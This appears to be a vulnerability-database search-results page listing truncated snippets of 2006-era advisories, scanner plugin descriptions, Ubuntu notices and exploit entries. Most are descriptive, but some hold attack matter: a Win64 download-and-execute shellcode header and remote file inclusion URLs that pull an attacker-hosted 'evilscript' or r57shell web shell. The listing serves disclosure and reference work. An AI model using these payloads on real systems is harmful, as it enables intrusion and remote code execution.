7215 matches found
MS06-049: Vulnerability in Windows Kernel Could Result in Elevation of Privilege (920958)
The remote host contains a version of the Windows kernel that could allow a local user to elevate his privileges or to crash it therefore causing a denial of service. C Tenable Network Security, Inc. include"compat.inc"; if description scriptid22191; scriptversion"1.30"; scriptcvsdate"Date:...
phpCC 4.2 beta (base_dir) Remote File Inclusion Vulnerability
Exploit for unknown platform in category web applications ============================================================= phpCC 4.2 beta basedir Remote File Inclusion Vulnerability ============================================================= SolpotCrew Community phpCC - Beta 4.2 basedir Remote Fil...
win64 (URLDownloadToFileA) download and execute 218+ bytes
Exploit for win64 platform in category shellcode ========================================================== win64 URLDownloadToFileA download and execute 218+ bytes ========================================================== ; ; dexec64.asm - 218+ bytes unoptimised ; ; Win64 asm code, download &...
win64 (URLDownloadToFileA) download and execute 218+ bytes
No description provided by source. ; ; dexec64.asm - 218+ bytes unoptimised ; ; Win64 asm code, download & execute file using URLDownloadToFileA moniker & WinExec ; ; tested on AMD64 running Windows x64 SP1 ; ; there probably are errors in the code, but this is more of an experimental source if...
GLSA-200607-09 : Wireshark: Multiple vulnerabilities
The remote host is affected by the vulnerability described in GLSA-200607-09 Wireshark: Multiple vulnerabilities Wireshark dissectors have been found vulnerable to a large number of exploits, including off-by-one errors, buffer overflows, format string overflows and an infinite loop. Impact :...
USN-297-3: Thunderbird vulnerabilities
USN-297-1 fixed several vulnerabilities in Thunderbird for the Ubuntu 6.06 LTS release. This update provides the corresponding fixes for Ubuntu 5.04 and Ubuntu 5.10. For reference, these are the details of the original USN: Jonas Sicking discovered that under some circumstances persisted XUL...
USN-296-2: Firefox vulnerabilities
USN-296-1 fixed several vulnerabilities in Firefox for the Ubuntu 6.06 LTS release. This update provides the corresponding fixes for Ubuntu 5.04 and Ubuntu 5.10. For reference, these are the details of the original USN: Jonas Sicking discovered that under some circumstances persisted XUL attribut...
freeciv -- Denial of Service Vulnerabilities
Secunia reports: Luigi Auriemma has reported a vulnerability in Freeciv, which can be exploited by malicious people to cause a DoS Denial of Service. An error in the "generichandleplayerattributechunk" function in common/packets.c can be exploited to crash the service via a specially crafted...
PHP-Blogger Multiple Cross Site Scripting Vulnerabilities
PHP-Blogger Multiple Cross Site Scripting Vulnerabilities OS2A ID: OS2A1006 Status: 14/06/2006 Issue Discovered 23/06/2006 Reported to the vendor No response on repeated notification 07/07/2006 Advisory Released Class: Cross Site Scripting Severity: Medium Overview: --------- PHP-Blogger is a fre...
file include exploits in randshop v1.2
file include exploits in randshop v1.2 forum type : randshop v1.2 bug found by : black-code team : site-down type : file include Exploits : http://www.example.com/randshop/index.php?incl=http://evilscript? emails: [email protected] & [email protected] Greetz to my friends : Shereba, Killer...
Stud.IP <= 1.3.0-2 Multiple Remote File Include Vulnerabilities
No description provided by source. /------------------------------------------------ IHS Public advisory -------------------------------------------------/ Stud.IP Remote File Inclusion Stud.IP is a learning and an information management system for universities, educational facilities and...
Plume CMS 1.1.3 (dbinstall.php) Remote File Include Vulnerability
Exploit for unknown platform in category web applications ================================================================= Plume CMS 1.1.3 dbinstall.php Remote File Include Vulnerability =================================================================...
Plume CMS 1.1.3 - 'dbinstall.php' Remote File Inclusion
/------------------------------------------------ IHS Public advisory -------------------------------------------------/ Plume CMS Remote File Inclusion It uses PHP and MySql. With a single installation of Plume you can have multiple websites, file management, multiple authors with different righ...
Plume CMS 1.1.3 (dbinstall.php) Remote File Include Vulnerability
No description provided by source. /------------------------------------------------ IHS Public advisory -------------------------------------------------/ Plume CMS Remote File Inclusion It uses PHP and MySql. With a single installation of Plume you can have multiple websites, file management,...
Stud.IP <= 1.3.0-2 Multiple Remote File Include Vulnerabilities
Exploit for unknown platform in category web applications =============================================================== Stud.IP = 1.3.0-2 Multiple Remote File Include Vulnerabilities =============================================================== /-----------------------------------------------...
Plume CMS 1.1.3 - dbinstall.php Remote File Inclusion
Plume CMS 1.1.3 - dbinstall.php Remote File Inclusion /------------------------------------------------ IHS Public advisory -------------------------------------------------/ Plume CMS Remote File Inclusion It uses PHP and MySql. With a single installation of Plume you can have multiple websites,...
Geeklog Multiple Script _CONF[path] Parameter Remote File Inclusion
The version of Geeklog installed on the remote host fails to sanitize input to the 'CONFpath' parameter before using it in several scripts to include PHP code. Provided PHP's 'registerglobals' setting is enabled, an unauthenticated attacker may be able to exploit these flaws to view arbitrary fil...
iTunes < 6.0.5 AAC File Integer Overflow (Mac OS X)
The remote host is running iTunes, a popular jukebox program. The remote version of this software is vulnerable to an integer overflow when it parses specially crafted AAC files which may lead to the execution of arbitrary code. An attacker may exploit this flaw by sending a malformed AAC file to...
PHPClassifieds.Info - Multiple Input Validation Vulnerabilities
PHPClassifieds.Info - Multiple Input Validation Vulnerabilities source: https://www.securityfocus.com/bid/18713/info The 'phpclassifieds.info' product is prone to multiple input-validation vulnerabilities. The issues include HTML- and SQL-injection vulnerabilities. These issues are due to a failu...
dotwidgeta.txt
Multiple file include exploits in dotwidgeta Version 2 script type : dotwidgeta Version 2 bug found by : sweet-devil team : site-down type : file include exploits : index.php http://www.example.com/path/index.php?filepath=http://yoursite/r57shell.txt? ecrire.php...